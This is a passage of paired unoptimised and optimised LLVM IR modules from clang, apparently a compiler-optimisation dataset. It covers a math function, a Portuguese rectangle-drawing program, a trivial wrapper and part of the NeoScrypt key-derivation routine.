attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp58zrqytl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @F2(double noundef %0, double noundef %1) #0 {
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca double, align 8
%6 = alloca double, align 8
store double %0, ptr %4, align 8
store double %1, ptr %5, align 8
%7 = load double, ptr %4, align 8
%8 = fcmp olt double %7, 1.000000e-100
br i1 %8, label %9, label %13
9: ; preds = %2
%10 = load double, ptr %5, align 8
%11 = call double @pow(double noundef %10, double noundef 4.000000e+00) #3
%12 = fdiv double %11, 4.000000e+00
store double %12, ptr %3, align 8
br label %41
13: ; preds = %2
%14 = load double, ptr %4, align 8
%15 = call double @pow(double noundef %14, double noundef 2.000000e+00) #3
%16 = load double, ptr %5, align 8
%17 = call double @pow(double noundef %16, double noundef 2.000000e+00) #3
%18 = fadd double %15, %17
%19 = call double @sqrt(double noundef %18) #3
store double %19, ptr %6, align 8
%20 = load double, ptr %4, align 8
%21 = call double @pow(double noundef %20, double noundef 2.000000e+00) #3
%22 = fmul double -3.000000e+00, %21
%23 = load double, ptr %5, align 8
%24 = load double, ptr %5, align 8
%25 = call double @pow(double noundef %24, double noundef 3.000000e+00) #3
%26 = fmul double 2.000000e+00, %25
%27 = call double @llvm.fmuladd.f64(double %22, double %23, double %26)
%28 = fmul double 1.250000e-01, %27
%29 = load double, ptr %6, align 8
%30 = load double, ptr %4, align 8
%31 = call double @pow(double noundef %30, double noundef 4.000000e+00) #3
%32 = fmul double 3.750000e-01, %31
%33 = load double, ptr %5, align 8
%34 = load double, ptr %6, align 8
%35 = fadd double %33, %34
%36 = load double, ptr %4, align 8
%37 = fdiv double %35, %36
%38 = call double @log(double noundef %37) #3
%39 = fmul double %32, %38
%40 = call double @llvm.fmuladd.f64(double %28, double %29, double %39)
store double %40, ptr %3, align 8
br label %41
41: ; preds = %13, %9
%42 = load double, ptr %3, align 8
ret double %42
}
; Function Attrs: nounwind
declare double @pow(double noundef, double noundef) #1
; Function Attrs: nounwind
declare double @sqrt(double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
; Function Attrs: nounwind
declare double @log(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvwndcbwk.c'
source_filename = "/tmp/tmpvwndcbwk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@FALSE = dso_local global i32 0, align 4
@TRUE = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvwndcbwk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@FALSE = dso_local global i32 0, align 4
@TRUE = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp73rt6ymb.c'
source_filename = "/tmp/tmp73rt6ymb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [18 x i8] c"Tamanho do lado: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"Tamanho da altura: \00", align 1
@.str.3 = private unnamed_addr constant [28 x i8] c"Caractere que deseja usar: \00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c" %c\00", align 1
@.str.5 = private unnamed_addr constant [54 x i8] c"Ol\C3\A1, meu nome \C3\A9 Andrea e o ret\C3\A2ngulo ficou assim:\0A\00", align 1
@.str.6 = private unnamed_addr constant [5 x i8] c" %c \00", align 1
@.str.7 = private unnamed_addr constant [4 x i8] c" \00", align 1
@.str.8 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@.str.9 = private unnamed_addr constant [24 x i8] c"Deseja continuar (S/n)?\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i8, align 1
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i8, align 1
%8 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %8, align 4
br label %9
9: ; preds = %67, %0
%10 = load i32, ptr %8, align 4
%11 = icmp eq i32 %10, 0
br i1 %11, label %12, label %68
12: ; preds = %9
%13 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%14 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %6)
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%16 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %5)
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%18 = call i32 (ptr, ...) @scanf(ptr noundef @.str.4, ptr noundef %2)
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
store i32 0, ptr %3, align 4
br label %20
20: ; preds = %57, %12
%21 = load i32, ptr %3, align 4
%22 = load i32, ptr %5, align 4
%23 = icmp slt i32 %21, %22
br i1 %23, label %24, label %60
24: ; preds = %20
store i32 0, ptr %4, align 4
br label %25
25: ; preds = %52, %24
%26 = load i32, ptr %4, align 4
%27 = load i32, ptr %6, align 4
%28 = icmp slt i32 %26, %27
br i1 %28, label %29, label %55
29: ; preds = %25
%30 = load i32, ptr %3, align 4
%31 = icmp eq i32 %30, 0
br i1 %31, label %45, label %32
32: ; preds = %29
%33 = load i32, ptr %3, align 4
%34 = load i32, ptr %5, align 4
%35 = sub nsw i32 %34, 1
%36 = icmp eq i32 %33, %35
br i1 %36, label %45, label %37
37: ; preds = %32
%38 = load i32, ptr %4, align 4
%39 = icmp eq i32 %38, 0
br i1 %39, label %45, label %40
40: ; preds = %37
%41 = load i32, ptr %4, align 4
%42 = load i32, ptr %6, align 4
%43 = sub nsw i32 %42, 1
%44 = icmp eq i32 %41, %43
br i1 %44, label %45, label %49
45: ; preds = %40, %37, %32, %29
%46 = load i8, ptr %2, align 1
%47 = sext i8 %46 to i32
%48 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef %47)
br label %51
49: ; preds = %40
%50 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
br label %51
51: ; preds = %49, %45
br label %52
52: ; preds = %51
%53 = load i32, ptr %4, align 4
%54 = add nsw i32 %53, 1
store i32 %54, ptr %4, align 4
br label %25, !llvm.loop !6
55: ; preds = %25
%56 = call i32 (ptr, ...) @printf(ptr noundef @.str.8)
br label %57
57: ; preds = %55
%58 = load i32, ptr %3, align 4
%59 = add nsw i32 %58, 1
store i32 %59, ptr %3, align 4
br label %20, !llvm.loop !8
60: ; preds = %20
%61 = call i32 (ptr, ...) @printf(ptr noundef @.str.9)
%62 = call i32 (ptr, ...) @scanf(ptr noundef @.str.4, ptr noundef %7)
%63 = load i8, ptr %7, align 1
%64 = sext i8 %63 to i32
%65 = icmp eq i32 %64, 110
br i1 %65, label %66, label %67
66: ; preds = %60
store i32 1, ptr %8, align 4
br label %67
67: ; preds = %66, %60
br label %9, !llvm.loop !9
68: ; preds = %9
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp73rt6ymb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [18 x i8] c"Tamanho do lado: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"Tamanho da altura: \00", align 1
@.str.3 = private unnamed_addr constant [28 x i8] c"Caractere que deseja usar: \00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c" %c\00", align 1
@.str.5 = private unnamed_addr constant [54 x i8] c"Ol\C3\A1, meu nome \C3\A9 Andrea e o ret\C3\A2ngulo ficou assim:\0A\00", align 1
@.str.6 = private unnamed_addr constant [5 x i8] c" %c \00", align 1
@.str.7 = private unnamed_addr constant [4 x i8] c" \00", align 1
@.str.8 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@.str.9 = private unnamed_addr constant [24 x i8] c"Deseja continuar (S/n)?\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i8, align 1
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i8, align 1
%8 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %8, align 4
%9 = load i32, ptr %8, align 4
%10 = icmp eq i32 %9, 0
br i1 %10, label %.lr.ph5, label %73
.lr.ph5: ; preds = %0
br label %11
11: ; preds = %.lr.ph5, %70
%12 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%13 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %6)
%14 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%15 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %5)
%16 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%17 = call i32 (ptr, ...) @scanf(ptr noundef @.str.4, ptr noundef %2)
%18 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
store i32 0, ptr %3, align 4
%19 = load i32, ptr %3, align 4
%20 = load i32, ptr %5, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %.lr.ph2, label %63
.lr.ph2: ; preds = %11
br label %22
22: ; preds = %.lr.ph2, %57
store i32 0, ptr %4, align 4
%23 = load i32, ptr %4, align 4
%24 = load i32, ptr %6, align 4
%25 = icmp slt i32 %23, %24
br i1 %25, label %.lr.ph, label %55
.lr.ph: ; preds = %22
br label %26
26: ; preds = %.lr.ph, %49
%27 = load i32, ptr %3, align 4
%28 = icmp eq i32 %27, 0
br i1 %28, label %42, label %29
29: ; preds = %26
%30 = load i32, ptr %3, align 4
%31 = load i32, ptr %5, align 4
%32 = sub nsw i32 %31, 1
%33 = icmp eq i32 %30, %32
br i1 %33, label %42, label %34
34: ; preds = %29
%35 = load i32, ptr %4, align 4
%36 = icmp eq i32 %35, 0
br i1 %36, label %42, label %37
37: ; preds = %34
%38 = load i32, ptr %4, align 4
%39 = load i32, ptr %6, align 4
%40 = sub nsw i32 %39, 1
%41 = icmp eq i32 %38, %40
br i1 %41, label %42, label %46
42: ; preds = %37, %34, %29, %26
%43 = load i8, ptr %2, align 1
%44 = sext i8 %43 to i32
%45 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef %44)
br label %48
46: ; preds = %37
%47 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
br label %48
48: ; preds = %46, %42
br label %49
49: ; preds = %48
%50 = load i32, ptr %4, align 4
%51 = add nsw i32 %50, 1
store i32 %51, ptr %4, align 4
%52 = load i32, ptr %4, align 4
%53 = load i32, ptr %6, align 4
%54 = icmp slt i32 %52, %53
br i1 %54, label %26, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %49
br label %55
55: ; preds = %._crit_edge, %22
%56 = call i32 (ptr, ...) @printf(ptr noundef @.str.8)
br label %57
57: ; preds = %55
%58 = load i32, ptr %3, align 4
%59 = add nsw i32 %58, 1
store i32 %59, ptr %3, align 4
%60 = load i32, ptr %3, align 4
%61 = load i32, ptr %5, align 4
%62 = icmp slt i32 %60, %61
br i1 %62, label %22, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %57
br label %63
63: ; preds = %._crit_edge3, %11
%64 = call i32 (ptr, ...) @printf(ptr noundef @.str.9)
%65 = call i32 (ptr, ...) @scanf(ptr noundef @.str.4, ptr noundef %7)
%66 = load i8, ptr %7, align 1
%67 = sext i8 %66 to i32
%68 = icmp eq i32 %67, 110
br i1 %68, label %69, label %70
69: ; preds = %63
store i32 1, ptr %8, align 4
br label %70
70: ; preds = %69, %63
%71 = load i32, ptr %8, align 4
%72 = icmp eq i32 %71, 0
br i1 %72, label %11, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %70
br label %73
73: ; preds = %._crit_edge6, %0
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmpzayj32e9.c'
source_filename = "/tmp/tmpzayj32e9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @f6(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @f5(ptr noundef %3)
ret i32 %4
}
declare i32 @f5(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzayj32e9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @f6(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @f5(ptr noundef %3)
ret i32 %4
}
declare i32 @f5(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpgntooi59.c'
source_filename = "/tmp/tmpgntooi59.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @neoscrypt_fastkdf(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, i32 noundef %4, ptr noundef %5, i32 noundef %6) #0 {
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca i32, align 4
%15 = alloca i64, align 8
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca i32, align 4
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
%23 = alloca i32, align 4
%24 = alloca i32, align 4
%25 = alloca ptr, align 8
%26 = alloca ptr, align 8
%27 = alloca ptr, align 8
%28 = alloca ptr, align 8
%29 = alloca ptr, align 8
%30 = alloca ptr, align 8
store ptr %0, ptr %8, align 8
store i32 %1, ptr %9, align 4
store ptr %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store i32 %4, ptr %12, align 4
store ptr %5, ptr %13, align 8
store i32 %6, ptr %14, align 4
store i64 64, ptr %15, align 8
store i32 256, ptr %16, align 4
store i32 64, ptr %17, align 4
store i32 32, ptr %18, align 4
store i32 32, ptr %19, align 4
%31 = call ptr @llvm.stacksave()
store ptr %31, ptr %30, align 8
%32 = alloca i8, i64 704, align 16
%33 = ptrtoint ptr %32 to i64
%34 = and i64 %33, -64
%35 = add i64 %34, 64
%36 = inttoptr i64 %35 to ptr
store ptr %36, ptr %25, align 8
%37 = load ptr, ptr %25, align 8
%38 = getelementptr inbounds i8, ptr %37, i64 320
store ptr %38, ptr %26, align 8
%39 = load ptr, ptr %25, align 8
%40 = getelementptr inbounds i8, ptr %39, i64 608
store ptr %40, ptr %29, align 8
%41 = load i32, ptr %9, align 4
%42 = icmp ugt i32 %41, 256
br i1 %42, label %43, label %44
43: ; preds = %7
store i32 256, ptr %9, align 4
br label %44
44: ; preds = %43, %7
%45 = load i32, ptr %9, align 4
%46 = udiv i32 256, %45
store i32 %46, ptr %21, align 4
store i32 0, ptr %23, align 4
br label %47
47: ; preds = %62, %44
%48 = load i32, ptr %23, align 4
%49 = load i32, ptr %21, align 4
%50 = icmp ult i32 %48, %49
br i1 %50, label %51, label %65
51: ; preds = %47
%52 = load ptr, ptr %25, align 8
%53 = load i32, ptr %23, align 4
%54 = load i32, ptr %9, align 4
%55 = mul i32 %53, %54
%56 = zext i32 %55 to i64
%57 = getelementptr inbounds i8, ptr %52, i64 %56
%58 = load ptr, ptr %8, align 8
%59 = getelementptr inbounds i8, ptr %58, i64 0
%60 = load i32, ptr %9, align 4
%61 = call i32 @neoscrypt_copy(ptr noundef %57, ptr noundef %59, i32 noundef %60)
br label %62
62: ; preds = %51
%63 = load i32, ptr %23, align 4
%64 = add i32 %63, 1
store i32 %64, ptr %23, align 4
br label %47, !llvm.loop !6
65: ; preds = %47
%66 = load i32, ptr %21, align 4
%67 = load i32, ptr %9, align 4
%68 = mul i32 %66, %67
%69 = sub i32 256, %68
store i32 %69, ptr %22, align 4
%70 = load i32, ptr %22, align 4
%71 = icmp ne i32 %70, 0
br i1 %71, label %72, label %83
72: ; preds = %65
%73 = load ptr, ptr %25, align 8
%74 = load i32, ptr %21, align 4
%75 = load i32, ptr %9, align 4
%76 = mul i32 %74, %75
%77 = zext i32 %76 to i64
%78 = getelementptr inbounds i8, ptr %73, i64 %77
%79 = load ptr, ptr %8, align 8
%80 = getelementptr inbounds i8, ptr %79, i64 0
%81 = load i32, ptr %22, align 4
%82 = call i32 @neoscrypt_copy(ptr noundef %78, ptr noundef %80, i32 noundef %81)
br label %83
83: ; preds = %72, %65
%84 = load ptr, ptr %25, align 8
%85 = getelementptr inbounds i8, ptr %84, i64 256
%86 = load ptr, ptr %8, align 8
%87 = getelementptr inbounds i8, ptr %86, i64 0
%88 = call i32 @neoscrypt_copy(ptr noundef %85, ptr noundef %87, i32 noundef 64)
%89 = load i32, ptr %11, align 4
%90 = icmp ugt i32 %89, 256
br i1 %90, label %91, label %92
91: ; preds = %83
store i32 256, ptr %11, align 4
br label %92
92: ; preds = %91, %83
%93 = load i32, ptr %11, align 4
%94 = udiv i32 256, %93
store i32 %94, ptr %21, align 4
store i32 0, ptr %23, align 4
br label %95
95: ; preds = %110, %92
%96 = load i32, ptr %23, align 4
%97 = load i32, ptr %21, align 4
%98 = icmp ult i32 %96, %97
br i1 %98, label %99, label %113
99: ; preds = %95
%100 = load ptr, ptr %26, align 8
%101 = load i32, ptr %23, align 4
%102 = load i32, ptr %11, align 4
%103 = mul i32 %101, %102
%104 = zext i32 %103 to i64
%105 = getelementptr inbounds i8, ptr %100, i64 %104
%106 = load ptr, ptr %10, align 8
%107 = getelementptr inbounds i8, ptr %106, i64 0
%108 = load i32, ptr %11, align 4
%109 = call i32 @neoscrypt_copy(ptr noundef %105, ptr noundef %107, i32 noundef %108)
br label %110
110: ; preds = %99
%111 = load i32, ptr %23, align 4
%112 = add i32 %111, 1
store i32 %112, ptr %23, align 4
br label %95, !llvm.loop !8
113: ; preds = %95
%114 = load i32, ptr %21, align 4
%115 = load i32, ptr %11, align 4
%116 = mul i32 %114, %115
%117 = sub i32 256, %116
store i32 %117, ptr %22, align 4
%118 = load i32, ptr %22, align 4
%119 = icmp ne i32 %118, 0
br i1 %119, label %120, label %131
120: ; preds = %113
%121 = load ptr, ptr %26, align 8
%122 = load i32, ptr %21, align 4
%123 = load i32, ptr %11, align 4
%124 = mul i32 %122, %123
%125 = zext i32 %124 to i64
%126 = getelementptr inbounds i8, ptr %121, i64 %125
%127 = load ptr, ptr %10, align 8
%128 = getelementptr inbounds i8, ptr %127, i64 0
%129 = load i32, ptr %22, align 4
%130 = call i32 @neoscrypt_copy(ptr noundef %126, ptr noundef %128, i32 noundef %129)
br label %131
131: ; preds = %120, %113
%132 = load ptr, ptr %26, align 8
%133 = getelementptr inbounds i8, ptr %132, i64 256
%134 = load ptr, ptr %10, align 8
%135 = getelementptr inbounds i8, ptr %134, i64 0
%136 = call i32 @neoscrypt_copy(ptr noundef %133, ptr noundef %135, i32 noundef 32)
store i32 0, ptr %23, align 4
store i32 0, ptr %20, align 4
br label %137
137: ; preds = %216, %131
%138 = load i32, ptr %23, align 4
%139 = load i32, ptr %12, align 4
%140 = icmp ult i32 %138, %139
br i1 %140, label %141, label %219
141: ; preds = %137
%142 = load ptr, ptr %25, align 8
%143 = load i32, ptr %20, align 4
%144 = zext i32 %143 to i64
%145 = getelementptr inbounds i8, ptr %142, i64 %144
store ptr %145, ptr %27, align 8
%146 = load ptr, ptr %26, align 8
%147 = load i32, ptr %20, align 4
%148 = zext i32 %147 to i64
%149 = getelementptr inbounds i8, ptr %146, i64 %148
store ptr %149, ptr %28, align 8
%150 = load ptr, ptr %27, align 8
%151 = load ptr, ptr %28, align 8
%152 = load ptr, ptr %29, align 8
%153 = call i32 @neoscrypt_blake2s(ptr noundef %150, i32 noundef 64, ptr noundef %151, i32 noundef 32, ptr noundef %152, i32 noundef 32)
store i32 0, ptr %24, align 4
store i32 0, ptr %20, align 4
br label %154
154: ; preds = %166, %141
%155 = load i32, ptr %24, align 4
%156 = icmp ult i32 %155, 32
br i1 %156, label %157, label %169
157: ; preds = %154
%158 = load ptr, ptr %29, align 8
%159 = load i32, ptr %24, align 4
%160 = zext i32 %159 to i64
%161 = getelementptr inbounds i8, ptr %158, i64 %160
%162 = load i8, ptr %161, align 1
%163 = zext i8 %162 to i32
%164 = load i32, ptr %20, align 4
%165 = add i32 %164, %163
store i32 %165, ptr %20, align 4
br label %166
166: ; preds = %157
%167 = load i32, ptr %24, align 4
%168 = add i32 %167, 1
store i32 %168, ptr %24, align 4
br label %154, !llvm.loop !9
169: ; preds = %154
%170 = load i32, ptr %20, align 4
%171 = and i32 %170, 255
store i32 %171, ptr %20, align 4
%172 = load ptr, ptr %26, align 8
%173 = load i32, ptr %20, align 4
%174 = zext i32 %173 to i64
%175 = getelementptr inbounds i8, ptr %172, i64 %174
%176 = load ptr, ptr %29, align 8
%177 = getelementptr inbounds i8, ptr %176, i64 0
%178 = call i32 @neoscrypt_xor(ptr noundef %175, ptr noundef %177, i32 noundef 32)
%179 = load i32, ptr %20, align 4
%180 = icmp ult i32 %179, 32
br i1 %180, label %181, label %201
181: ; preds = %169
%182 = load ptr, ptr %26, align 8
%183 = load i32, ptr %20, align 4
%184 = add i32 256, %183
%185 = zext i32 %184 to i64
%186 = getelementptr inbounds i8, ptr %182, i64 %185
%187 = load ptr, ptr %26, align 8
%188 = load i32, ptr %20, align 4
%189 = zext i32 %188 to i64
%190 = getelementptr inbounds i8, ptr %187, i64 %189
%191 = load i32, ptr %20, align 4
%192 = sub i32 32, %191
%193 = icmp ult i32 32, %192
br i1 %193, label %194, label %195
194: ; preds = %181
br label %198
195: ; preds = %181
%196 = load i32, ptr %20, align 4
%197 = sub i32 32, %196
br label %198
198: ; preds = %195, %194
%199 = phi i32 [ 32, %194 ], [ %197, %195 ]
%200 = call i32 @neoscrypt_copy(ptr noundef %186, ptr noundef %190, i32 noundef %199)
br label %215
201: ; preds = %169
%202 = load i32, ptr %20, align 4
%203 = sub i32 256, %202
%204 = icmp ult i32 %203, 32
br i1 %204, label %205, label %214
205: ; preds = %201
%206 = load ptr, ptr %26, align 8
%207 = getelementptr inbounds i8, ptr %206, i64 0
%208 = load ptr, ptr %26, align 8
%209 = getelementptr inbounds i8, ptr %208, i64 256
%210 = load i32, ptr %20, align 4
%211 = sub i32 256, %210
%212 = sub i32 32, %211
